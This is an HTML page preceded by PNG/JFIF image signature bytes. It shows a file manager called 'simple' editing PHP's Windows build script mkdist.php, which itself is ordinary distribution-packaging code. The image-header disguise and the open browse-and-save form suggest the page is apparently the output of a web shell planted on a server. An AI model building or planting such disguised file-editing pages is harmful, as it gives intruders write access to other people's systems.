�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fwin32%2F'>win32</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fwin32%2Fbuild%2F'>build</a>/</p><hr><h3>✏️ Editing: mkdist.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/* piece together a windows binary distro */

$php_version = $argv[1];
$build_dir = $argv[2];
$php_build_dir = $argv[3];
$phpdll = $argv[4];
$sapi_targets = explode(&quot; &quot;, $argv[5]);
$ext_targets = explode(&quot; &quot;, $argv[6]);
$pecl_targets = explode(&quot; &quot;, $argv[7]);
$snapshot_template = $argv[8];

$is_debug = preg_match(&quot;/^debug/i&quot;, $build_dir);

echo &quot;Making dist for $build_dir\n&quot;;

$dist_dir = $build_dir . &quot;/php-&quot; . $php_version;
$test_dir = $build_dir . &quot;/php-test-pack-&quot; . $php_version;
$pecl_dir = $build_dir . &quot;/pecl-&quot; . $php_version;

@mkdir($dist_dir);
@mkdir(&quot;$dist_dir/ext&quot;);
@mkdir(&quot;$dist_dir/dev&quot;);
@mkdir(&quot;$dist_dir/extras&quot;);
@mkdir($pecl_dir);

/* figure out additional DLL&#039;s that are required */
$extra_dll_deps = array();
$per_module_deps = array();
$pecl_dll_deps = array();

function get_depends($module)
{
    static $no_dist = array(
        /* windows system dlls that should not be bundled */
        &#039;advapi32.dll&#039;, &#039;comdlg32.dll&#039;, &#039;crypt32.dll&#039;, &#039;gdi32.dll&#039;, &#039;kernel32.dll&#039;, &#039;ntdll.dll&#039;,
        &#039;odbc32.dll&#039;, &#039;ole32.dll&#039;, &#039;oleaut32.dll&#039;, &#039;rpcrt4.dll&#039;,
        &#039;shell32.dll&#039;, &#039;shlwapi.dll&#039;, &#039;user32.dll&#039;, &#039;ws2_32.dll&#039;, &#039;ws2help.dll&#039;,
        &#039;comctl32.dll&#039;, &#039;winmm.dll&#039;, &#039;wsock32.dll&#039;, &#039;winspool.drv&#039;, &#039;msasn1.dll&#039;,
        &#039;secur32.dll&#039;, &#039;netapi32.dll&#039;, &#039;dnsapi.dll&#039;, &#039;psapi.dll&#039;, &#039;normaliz.dll&#039;,
        &#039;iphlpapi.dll&#039;, &#039;bcrypt.dll&#039;,

        /* apache */
        &#039;apachecore.dll&#039;,

        /* apache 2 */
        &#039;libhttpd.dll&#039;, &#039;libapr.dll&#039;, &#039;libaprutil.dll&#039;,&#039;libapr-1.dll&#039;, &#039;libaprutil-1.dll&#039;,

        /* oracle */
        &#039;oci.dll&#039;, &#039;ociw32.dll&#039;,

        /* sybase */
        &#039;libcs.dll&#039;, &#039;libct.dll&#039;,

        /* firebird */
        &#039;fbclient.dll&#039;,

        /* visual C++; mscvrt.dll is present on everyones system,
         * but the debug version (msvcrtd.dll) and those from visual studio.net
         * (msvcrt7x.dll) are not */
        &#039;msvcrt.dll&#039;,
        &#039;msvcr90.dll&#039;,
        &#039;wldap32.dll&#039;,
        &#039;vcruntime140.dll&#039;,
        &#039;msvcp140.dll&#039;,
        );
    static $no_dist_re = array(
        &quot;api-ms-win-crt-.+\.dll&quot;,
    );
    global $build_dir, $extra_dll_deps, $ext_targets, $sapi_targets, $pecl_targets, $phpdll, $per_module_deps, $pecl_dll_deps;

    $bd = strtolower(realpath($build_dir));

    $is_pecl = in_array($module, $pecl_targets);

    $cmd = &quot;$GLOBALS[build_dir]\\deplister.exe \&quot;$module\&quot; \&quot;$GLOBALS[build_dir]\&quot;&quot;;
    $proc = proc_open($cmd,
            array(1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;)),
            $pipes);

    $n = 0;
    while (($line = fgetcsv($pipes[1]))) {
        $n++;

        $dep = strtolower($line[0]);
        $depbase = basename($dep);
        /* ignore stuff in our build dir, but only if it is
         * one of our targets */
        if (((in_array($depbase, $sapi_targets) ||
                in_array($depbase, $ext_targets) || in_array($depbase, $pecl_targets)) ||
                $depbase == $phpdll) &amp;&amp; file_exists($GLOBALS[&#039;build_dir&#039;] . &quot;/$depbase&quot;)) {
            continue;
        }
        /* ignore some well-known system dlls */
        if (in_array(basename($dep), $no_dist)) {
            continue;
        } else {
            $skip = false;
            foreach ($no_dist_re as $re) {
                if (preg_match(&quot;,$re,&quot;, basename($dep)) &gt; 0) {
                    $skip = true;
                    break;
                }
            }
            if ($skip) {
                continue;
            }
        }

        if ($is_pecl) {
            if (!in_array($dep, $pecl_dll_deps)) {
                $pecl_dll_deps[] = $dep;
            }
        } else {
            if (!in_array($dep, $extra_dll_deps)) {
                $extra_dll_deps[] = $dep;
            }
        }

        if (!isset($per_module_deps[basename($module)]) || !in_array($dep, $per_module_deps[basename($module)])) {
            $per_module_deps[basename($module)][] = $dep;
            //recursively check dll dependencies
            get_depends($dep);
        }
    }
    fclose($pipes[1]);
    proc_close($proc);
//echo &quot;Module $module [$n lines]\n&quot;;
}

function copy_file_list($source_dir, $dest_dir, $list)
{
    global $is_debug, $dist_dir;

    foreach ($list as $item) {
        if (empty($item)) {
            continue;
        } elseif (!is_file($source_dir . DIRECTORY_SEPARATOR . $item)) {
            echo &quot;WARNING: $item not found\n&quot;;
            continue;
        }

        echo &quot;Copying $item from $source_dir to $dest_dir\n&quot;;
        copy($source_dir . DIRECTORY_SEPARATOR . $item, $dest_dir . DIRECTORY_SEPARATOR . $item);
        if ($is_debug) {
            $itemdb = preg_replace(&quot;/\.(exe|dll|lib)$/i&quot;, &quot;.pdb&quot;, $item);
            if (file_exists(&quot;$source_dir/$itemdb&quot;)) {
                copy(&quot;$source_dir/$itemdb&quot;, &quot;$dist_dir/dev/$itemdb&quot;);
            }
        }
        if (preg_match(&quot;/\.(exe|dll)$/i&quot;, $item)) {
            get_depends($source_dir . &#039;/&#039; . $item);
        }
    }
}

function copy_text_file($source, $dest)
{
    $text = file_get_contents($source);
    $text = preg_replace(&quot;/(\r\n?)|\n/&quot;, &quot;\r\n&quot;, $text);
    $fp = fopen($dest, &quot;w&quot;);
    fwrite($fp, $text);
    fclose($fp);
}

/* very light-weight function to extract a single named file from
 * a gzipped tarball.  This makes assumptions about the files
 * based on the PEAR info set in $packages. */
function extract_file_from_tarball($pkg, $filename, $dest_dir) /* {{{ */
{
    global $packages;

    $name = $pkg . &#039;-&#039; . $packages[$pkg];
    $tarball = $dest_dir . &quot;/&quot; . $name . &#039;.tgz&#039;;
    $filename = $name . &#039;/&#039; . $filename;
    $destfilename = $dest_dir . &quot;/&quot; . basename($filename);

    $fp = gzopen($tarball, &#039;rb&#039;);

    $done = false;
    do {
        /* read the header */
        $hdr_data = gzread($fp, 512);
        if (strlen($hdr_data) == 0)
            break;
        $checksum = 0;
        for ($i = 0; $i &lt; 148; $i++)
            $checksum += ord($hdr_data[$i]);
        for ($i = 148; $i &lt; 156; $i++)
            $checksum += 32;
        for ($i = 156; $i &lt; 512; $i++)
            $checksum += ord($hdr_data[$i]);

        $hdr = unpack(&quot;a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor&quot;, $hdr_data);

        $hdr[&#039;checksum&#039;] = octdec(trim($hdr[&#039;checksum&#039;]));

        if ($hdr[&#039;checksum&#039;] != $checksum) {
            echo &quot;Checksum for $tarball $hdr[filename] is invalid\n&quot;;
            print_r($hdr);
            return;
        }

        $hdr[&#039;size&#039;] = octdec(trim($hdr[&#039;size&#039;]));
        echo &quot;File: $hdr[filename] $hdr[size]\n&quot;;

        if ($filename == $hdr[&#039;filename&#039;]) {
            echo &quot;Found the file we want\n&quot;;
            $dest = fopen($destfilename, &#039;wb&#039;);
            $x = stream_copy_to_stream($fp, $dest, $hdr[&#039;size&#039;]);
            fclose($dest);
            echo &quot;Wrote $x bytes into $destfilename\n&quot;;
            break;
        }

        /* skip body of the file */
        $size = 512 * ceil((int)$hdr[&#039;size&#039;] / 512);
        echo &quot;Skipping $size bytes\n&quot;;
        gzseek($fp, gztell($fp) + $size);

    } while (!$done);

} /* }}} */


/* the core dll */
copy(&quot;$build_dir/php.exe&quot;, &quot;$dist_dir/php.exe&quot;);
/* copy dll and its dependencies */
copy_file_list($build_dir, &quot;$dist_dir&quot;, [$phpdll]);

/* and the .lib goes into dev */
$phplib = str_replace(&quot;.dll&quot;, &quot;.lib&quot;, $phpdll);
copy(&quot;$build_dir/$phplib&quot;, &quot;$dist_dir/dev/$phplib&quot;);
/* debug builds; copy the symbols too */
if ($is_debug) {
    $phppdb = str_replace(&quot;.dll&quot;, &quot;.pdb&quot;, $phpdll);
    copy(&quot;$build_dir/$phppdb&quot;, &quot;$dist_dir/dev/$phppdb&quot;);
}
/* copy the sapi */
copy_file_list($build_dir, &quot;$dist_dir&quot;, $sapi_targets);

/* copy the extensions */
copy_file_list($build_dir, &quot;$dist_dir/ext&quot;, $ext_targets);

/* pecl sapi and extensions */
if(sizeof($pecl_targets)) {
    copy_file_list($build_dir, $pecl_dir, $pecl_targets);
}

/* populate reading material */
$text_files = array(
    &quot;LICENSE&quot; =&gt; &quot;license.txt&quot;,
    &quot;NEWS&quot; =&gt; &quot;news.txt&quot;,
    &quot;README.md&quot; =&gt; &quot;README.md&quot;,
    &quot;README.REDIST.BINS&quot; =&gt; &quot;readme-redist-bins.txt&quot;,
    &quot;php.ini-development&quot; =&gt; &quot;php.ini-development&quot;,
    &quot;php.ini-production&quot; =&gt; &quot;php.ini-production&quot;
);

foreach ($text_files as $src =&gt; $dest) {
    copy_text_file($src, $dist_dir . &#039;/&#039; . $dest);
}

/* general other files */
$general_files = array(
    &quot;$GLOBALS[build_dir]\\deplister.exe&quot;	=&gt;	&quot;deplister.exe&quot;,
);

foreach ($general_files as $src =&gt; $dest) {
    copy($src, $dist_dir . &#039;/&#039; . $dest);
}

/* include a snapshot identifier */
$branch = &quot;HEAD&quot;; // TODO - determine this from GitHub branch name
$fp = fopen(&quot;$dist_dir/snapshot.txt&quot;, &quot;w&quot;);
$now = date(&quot;r&quot;);
fwrite($fp, &lt;&lt;&lt;EOT
This snapshot was automatically generated on
$now

Version: $php_version
Branch: $branch
Build: $build_dir

EOT
);
/* list built-in extensions */
$exts = get_loaded_extensions();
fprintf($fp, &quot;\r\nBuilt-in Extensions\r\n&quot;);
fwrite($fp, &quot;===========================\r\n&quot;);
foreach ($exts as $ext) {
    fprintf($fp, &quot;%s\r\n&quot;, $ext);
}
fwrite($fp, &quot;\r\n\r\n&quot;);

/* list dependencies */
fprintf($fp, &quot;Dependency information:\r\n&quot;);
foreach ($per_module_deps as $modulename =&gt; $deps) {
    if (in_array($modulename, $pecl_targets))
        continue;

    fprintf($fp, &quot;Module: %s\r\n&quot;, $modulename);
    fwrite($fp, &quot;===========================\r\n&quot;);
    foreach ($deps as $dll) {
        fprintf($fp, &quot;\t%s\r\n&quot;, basename($dll));
    }
    fwrite($fp, &quot;\r\n&quot;);
}
fclose($fp);

/* Now add those dependencies */
foreach ($extra_dll_deps as $dll) {
    if (!file_exists($dll)) {
        /* try template dir */
        $tdll = $snapshot_template . &quot;/dlls/&quot; . basename($dll);
        if (!file_exists($tdll)) {
            $tdll = $php_build_dir . &#039;/bin/&#039; . basename($dll);
            if (!file_exists($tdll)) {
                echo &quot;WARNING: distro depends on $dll, but could not find it on your system\n&quot;;
                continue;
            }
        }
        $dll = $tdll;
    }
    copy($dll, &quot;$dist_dir/&quot; . basename($dll));
}

/* TODO:
add sanity check and test if all required DLLs are present, per version
This version works at least for 3.6, 3.8 and 4.0 (5.3-vc6, 5.3-vc9 and HEAD).
Add ADD_DLLS to add extra DLLs like dynamic dependencies for standard
deps. For example, libenchant.dll loads libenchant_myspell.dll or
libenchant_ispell.dll
*/
$ENCHANT_DLLS = array(
    array(&#039;&#039;, &#039;glib-2.dll&#039;),
    array(&#039;&#039;, &#039;gmodule-2.dll&#039;),
);
if (file_exists(&quot;$php_build_dir/bin/libenchant2.dll&quot;)) {
    $ENCHANT_DLLS[] = array(&#039;lib/enchant&#039;, &#039;libenchant2_hunspell.dll&#039;);
} else {
    $ENCHANT_DLLS[] = array(&#039;lib/enchant&#039;, &#039;libenchant_myspell.dll&#039;);
    $ENCHANT_DLLS[] = array(&#039;lib/enchant&#039;, &#039;libenchant_ispell.dll&#039;);
}
foreach ($ENCHANT_DLLS as $dll) {
    $dest  = &quot;$dist_dir/$dll[0]&quot;;
    $filename = $dll[1];

    if (!file_exists(&quot;$dest&quot;) || !is_dir(&quot;$dest&quot;)) {
        if (!mkdir(&quot;$dest&quot;, 0777, true)) {
            echo &quot;WARNING: couldn&#039;t create &#039;$dest&#039; for enchant plugins &quot;;
        }
    }

    if (!copy($php_build_dir . &#039;/bin/&#039; . $filename, &quot;$dest/&quot; . basename($filename))) {
            echo &quot;WARNING: couldn&#039;t copy $filename into the dist dir&quot;;
    }
}

$OPENSSL_DLLS = $php_build_dir . &quot;/lib/ossl-modules/*.dll&quot;;
$fls = glob($OPENSSL_DLLS);
if (!empty($fls)) {
    $openssl_dest_dir = &quot;$dist_dir/extras/ssl&quot;;
    if (!file_exists($openssl_dest_dir) || !is_dir($openssl_dest_dir)) {
        if (!mkdir($openssl_dest_dir, 0777, true)) {
            echo &quot;WARNING: couldn&#039;t create &#039;$openssl_dest_dir&#039; for OpenSSL providers &quot;;
        }
    }
    foreach ($fls as $fl) {
        if (!copy($fl, &quot;$openssl_dest_dir/&quot; . basename($fl))) {
            echo &quot;WARNING: couldn&#039;t copy $fl into the $openssl_dest_dir&quot;;
        }
    }
}

$SASL_DLLS = $php_build_dir . &quot;/bin/sasl2/sasl*.dll&quot;;
$fls = glob($SASL_DLLS);
if (!empty($fls)) {
    $sasl_dest_dir = &quot;$dist_dir/sasl2&quot;;
    if (!file_exists($sasl_dest_dir) || !is_dir($sasl_dest_dir)) {
        if (!mkdir(&quot;$sasl_dest_dir&quot;, 0777, true)) {
            echo &quot;WARNING: couldn&#039;t create &#039;$sasl_dest_dir&#039; for SASL2 auth plugins &quot;;
        }
    }
    foreach ($fls as $fl) {
        if (!copy($fl, &quot;$sasl_dest_dir/&quot; . basename($fl))) {
            echo &quot;WARNING: couldn&#039;t copy $fl into the $sasl_dest_dir&quot;;
        }
    }
}

/* and those for pecl */
foreach ($pecl_dll_deps as $dll) {
    if (in_array($dll, $extra_dll_deps)) {
        /* already in main distro */
        continue;
    }
    if (!file_exists($dll)) {
        /* try template dir */
        $tdll = $snapshot_template . &quot;/dlls/&quot; . basename($dll);
        if (!file_exists($tdll)) {
            echo &quot;WARNING: distro depends on $dll, but could not find it on your system\n&quot;;
            continue;
        }
        $dll = $tdll;
    }
    copy($dll, &quot;$pecl_dir/&quot; . basename($dll));
}

function copy_dir($source, $dest)
{
    if (!is_dir($dest)) {
        if (!mkdir($dest)) {
            return false;
        }
    }

    $d = opendir($source);
    while (($f = readdir($d)) !== false) {
        if ($f == &#039;.&#039; || $f == &#039;..&#039; || $f == &#039;.svn&#039;) {
            continue;
        }
        $fs = $source . &#039;/&#039; . $f;
        $fd = $dest . &#039;/&#039; . $f;
        if (is_dir($fs)) {
            copy_dir($fs, $fd);
        } else {
            copy($fs, $fd);
        }
    }
    closedir($d);
}



function copy_test_dir($directory, $dest)
{
    if(substr($directory,-1) == &#039;/&#039;) {
        $directory = substr($directory,0,-1);
    }

    if ($directory == &#039;tests&#039; || $directory == &#039;examples&#039;) {
        if (!is_dir($dest . &#039;/tests&#039;)) {
            mkdir($dest . &#039;/tests&#039;, 0775, true);
        }
        copy_dir($directory, $dest . &#039;/tests/&#039;);

        return false;
    }

    if(!file_exists($directory) || !is_dir($directory)) {
        echo &quot;failed... $directory\n&quot;;
        return FALSE;
    }

    $directory_list = opendir($directory);

    while (FALSE !== ($file = readdir($directory_list))) {
        $full_path = $directory . &#039;/&#039; . $file;
        if($file != &#039;.&#039; &amp;&amp; $file != &#039;..&#039; &amp;&amp; $file != &#039;.svn&#039; &amp;&amp; is_dir($full_path)) {
            if ($file == &#039;tests&#039; || $file == &#039;examples&#039;) {
                if (!is_dir($dest . &#039;/&#039; . $full_path)) {
                    mkdir($dest . &#039;/&#039; . $full_path , 0775, true);
                }
                copy_dir($full_path, $dest . &#039;/&#039; . $full_path . &#039;/&#039;);
                continue;
            } else {
                copy_test_dir($full_path, $dest);
            }
        }
    }

    closedir($directory_list);
}

function make_phar_dot_phar($dist_dir)
{
    if (!extension_loaded(&#039;phar&#039;)) {
        return;
    }

    $path_to_phar = realpath(__DIR__ . &#039;/../../ext/phar&#039;);

    echo &quot;Generating pharcommand.phar\n&quot;;
    $phar = new Phar($dist_dir . &#039;/pharcommand.phar&#039;, 0, &#039;pharcommand&#039;);

    foreach (new DirectoryIterator($path_to_phar . &#039;/phar&#039;) as $file) {
        if ($file-&gt;isDir() || $file == &#039;phar.php&#039;) {
            continue;
        }

        echo &#039;adding &#039;, $file, &quot;\n&quot;;
        $phar[(string) $file] = file_get_contents($path_to_phar.  &#039;/phar/&#039; . $file);
    }

    $phar-&gt;setSignatureAlgorithm(Phar::SHA1);
    $stub = file($path_to_phar . &#039;/phar/phar.php&#039;);

    unset($stub[0]); // remove hashbang
    $phar-&gt;setStub(implode(&#039;&#039;, $stub));

    echo &quot;Creating phar.phar.bat\n&quot;;
    file_put_contents($dist_dir . &#039;/phar.phar.bat&#039;, &quot;\&quot;%~dp0php.exe\&quot; \&quot;%~dp0pharcommand.phar\&quot; %*\r\n&quot;);
}

if (!is_dir($test_dir)) {
    mkdir($test_dir);
}

$dirs = array(
    &#039;ext&#039;,
    &#039;Sapi&#039;,
    &#039;Zend&#039;,
    &#039;tests&#039;
);
foreach ($dirs as $dir) {
    copy_test_dir($dir, $test_dir);
}
copy(&#039;run-tests.php&#039;, $test_dir . &#039;/run-tests.php&#039;);

/* change this next line to true to use good-old
 * hand-assembled go-pear-bundle from the snapshot template */
$use_pear_template = true;

if (!$use_pear_template) {
    /* Let&#039;s do a PEAR-less pear setup */
    mkdir(&quot;$dist_dir/PEAR&quot;);
    mkdir(&quot;$dist_dir/PEAR/go-pear-bundle&quot;);

    /* grab the bootstrap script */
    echo &quot;Downloading go-pear\n&quot;;
    copy(&quot;https://pear.php.net/go-pear.phar&quot;, &quot;$dist_dir/PEAR/go-pear.php&quot;);

    /* import the package list -- sets $packages variable */
    include &quot;pear/go-pear-list.php&quot;;

    /* download the packages into the destination */
    echo &quot;Fetching packages\n&quot;;

    foreach ($packages as $name =&gt; $version) {
        $filename = &quot;$name-$version.tgz&quot;;
        $destfilename = &quot;$dist_dir/PEAR/go-pear-bundle/$filename&quot;;
        if (file_exists($destfilename))
            continue;
        $url = &quot;http://pear.php.net/get/$filename&quot;;
        echo &quot;Downloading $name from $url\n&quot;;
        flush();
        copy($url, $destfilename);
    }

    echo &quot;Download complete.  Extracting bootstrap files\n&quot;;

    /* Now, we want PEAR.php, Getopt.php (Console_Getopt) and Tar.php (Archive_Tar)
     * broken out of the tarballs */
    extract_file_from_tarball(&#039;PEAR&#039;, &#039;PEAR.php&#039;, &quot;$dist_dir/PEAR/go-pear-bundle&quot;);
    extract_file_from_tarball(&#039;Archive_Tar&#039;, &#039;Archive/Tar.php&#039;, &quot;$dist_dir/PEAR/go-pear-bundle&quot;);
    extract_file_from_tarball(&#039;Console_Getopt&#039;, &#039;Console/Getopt.php&#039;, &quot;$dist_dir/PEAR/go-pear-bundle&quot;);
}

/* add extras from the template dir */
if (file_exists($snapshot_template)) {
    $items = glob(&quot;$snapshot_template/*&quot;);
    print_r($items);

    foreach ($items as $item) {
        $bi = basename($item);
        if (is_dir($item)) {
            if ($bi == &#039;dlls&#039; || $bi == &#039;symbols&#039;) {
                continue;
            } else if ($bi == &#039;PEAR&#039;) {
                if ($use_pear_template) {
                    /* copy to top level */
                    copy_dir($item, &quot;$dist_dir/$bi&quot;);
                }
            } else {
                /* copy that dir into extras */
                copy_dir($item, &quot;$dist_dir/extras/$bi&quot;);
            }
        } else {
            if ($bi == &#039;go-pear.bat&#039;) {
                /* copy to top level */
                copy($item, &quot;$dist_dir/$bi&quot;);
            } else {
                /* copy to extras */
                copy($item, &quot;$dist_dir/extras/$bi&quot;);
            }
        }
    }

    /* copy c++ runtime */
    $items = glob(&quot;$snapshot_template/dlls/*.CRT&quot;);

    foreach ($items as $item) {
        $bi = basename($item);
        if (is_dir($item)) {
            copy_dir($item, &quot;$dist_dir/$bi&quot;);
            copy_dir($item, &quot;$dist_dir/ext/$bi&quot;);
        }
    }
} else {
    echo &quot;WARNING: you don&#039;t have a snapshot template, your dist will not be complete\n&quot;;
}

make_phar_dot_phar($dist_dir);
?&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fwin32%2Fbuild'>🔙 Back</a></p>